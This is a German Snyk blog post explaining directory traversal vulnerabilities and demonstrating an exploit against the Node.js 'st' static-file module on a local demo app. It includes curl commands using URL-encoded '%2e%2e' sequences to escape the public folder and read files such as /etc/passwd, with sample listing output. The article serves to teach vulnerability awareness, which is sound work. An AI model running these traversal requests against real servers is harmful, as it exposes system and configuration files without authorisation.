Skip to main content

Snyking In – Directory-Traversal-Schwachstelle in der st-Bibliothek ausnutzen

Artikel von
Snyking in small

25. Februar 2019

0 Min. Lesezeit

Willkommen zur ersten Ausgabe unserer neuen Exploit-Serie „Snyking In“! Wir sehen uns verschiedene Sicherheitslücken an und zeigen, wie sie ausgenutzt werden können und welche Risiken sie für Ihre Daten und Systeme bergen. Unsere Beispiele beziehen sich stets auf Bibliotheken aus der Praxis, in denen die jeweilige Art von Schwachstelle in mindestens einer veröffentlichten Version vorkommt.

Und keine Sorge: Wir lassen Sie nicht im Regen stehen! Wir zeigen Ihnen auch, wie Sie Schwachstellen in Ihrer Anwendung finden und beheben. Ohne Umschweife präsentieren wir Ihnen hier unser erstes Exploit-Video und weitere Informationen zur Directory-Traversal-Schwachstelle.

Directory Traversal

Ein Directory-Traversal-Angriff (auch Path Traversal genannt) zielt darauf ab, auf Dateien und Verzeichnisse außerhalb des vorgesehenen Ordners zuzugreifen. Durch die Manipulation von Dateipfaden mit „Punkt-Punkt-Schrägstrich (../)“-Sequenzen und deren Varianten oder durch die Verwendung absoluter Dateipfade kann es möglich sein, auf beliebige Dateien und Verzeichnisse im Dateisystem zuzugreifen – darunter den Quellcode der Anwendung, Konfigurationsdateien und andere wichtige Systemdateien.

Directory-Traversal-Schwachstellen lassen sich grundsätzlich in zwei Typen unterteilen:

Offenlegung von Informationen: Ermöglicht es Angreifern, Informationen über die Ordnerstruktur zu erhalten oder vertrauliche Dateien auf dem System auszulesen.

Beliebige Dateien schreiben: Ermöglicht es Angreifern, Dateien zu erstellen oder vorhandene Dateien zu ersetzen. Diese Art von Schwachstelle ist auch als Zip Slip bekannt.

Directory Traversal in st

Das Modul st stellt statische Dateien auf Webseiten bereit und weist eine Schwachstelle dieser Art auf. In unserem Beispiel stellen wir Dateien über die öffentliche Route bereit.

Wenn ein Angreifer die folgende URL bei unserem Server anfordert, gibt dieser vertrauliche Informationen preis, die auf dem Computer gespeichert sind. Beachten Sie: %2e ist die URL-kodierte Form von . (Punkt).

curl http://localhost:3001/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 

Diese Art von Directory Traversal ist eine Schwachstelle zur Offenlegung von Informationen. Das bedeutet, dass Angreifer vertrauliche Dateien auslesen können. Der Schaden beschränkt sich auf die Informationen, auf die der Angreifer Zugriff auf dem System erhält.

Der st-Exploit

Im Video oben wird der Angriff in einem Terminalfenster ausgeführt, da der Browser die Eingabe normalisieren würde. Beim ersten Exploit-Versuch wird die Punkt-Punkt-Schrägstrich-Notation verwendet, um aus dem öffentlichen Verzeichnis herauszugelangen:

curl http://localhost:3001/public/../

Die Bibliothek st ist jedoch ziemlich sicherheitsbewusst. Sie schützt vor Directory Traversal mit Punkt-Punkt-Schrägstrich-Notation. URL-kodieren wir jedoch wie zuvor beschrieben den Punkt, lässt sich die Schwachstelle mit folgendem Befehl erfolgreich ausnutzen:

curl http://localhost:3001/public/%2e%2e/

Die Ausgabe zeigt, dass wir nun unter anderem auf die Datei package-lock.json zugreifen können. Dadurch erhalten wir Einblick in die anderen Module und die zugehörigen Versionen, die von der Anwendung verwendet werden. Wie im Video zu sehen, können wir auch tiefer in das Dateisystem vordringen und weitere vertrauliche Informationen offenlegen, etwa die Datei /etc/passwd.

<!doctype html>Index of<!doctype html>
../  
exploits/ 2018-11-22T11:36:32.894Z -  
goof/ 2018-06-19T12:09:39.211Z -  
node_modules/ 2019-02-21T11:51:45.792Z -  
public/ 2018-06-19T12:09:03.003Z -  
routes/ 2018-06-19T12:09:03.003Z -  
views/ 2018-06-19T12:09:03.004Z -  
app.js 2018-06-19T12:09:02.997Z 2152  
app.json 2018-06-19T12:09:02.997Z 267  
db.js 2018-06-19T12:09:02.997Z 1157  
GoofApp.zip 2018-09-11T07:21:58.433Z 14138285  
package-lock.json 2019-02-21T11:51:46.183Z 186799  
package.json 2018-11-06T18:59:57.850Z 1207  
README.md 2018-06-19T12:09:02.996Z 1815  
utils.js 2018-06-19T12:09:03.003Z 641

Möchten Sie Ihre Anwendung auf Schwachstellen in Drittanbieter-Bibliotheken wie st testen? Probieren Sie Snyk kostenlos aus und erhalten Sie sofort Ergebnisse.

Starten Sie mit Capture the Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Herausforderungen lösen.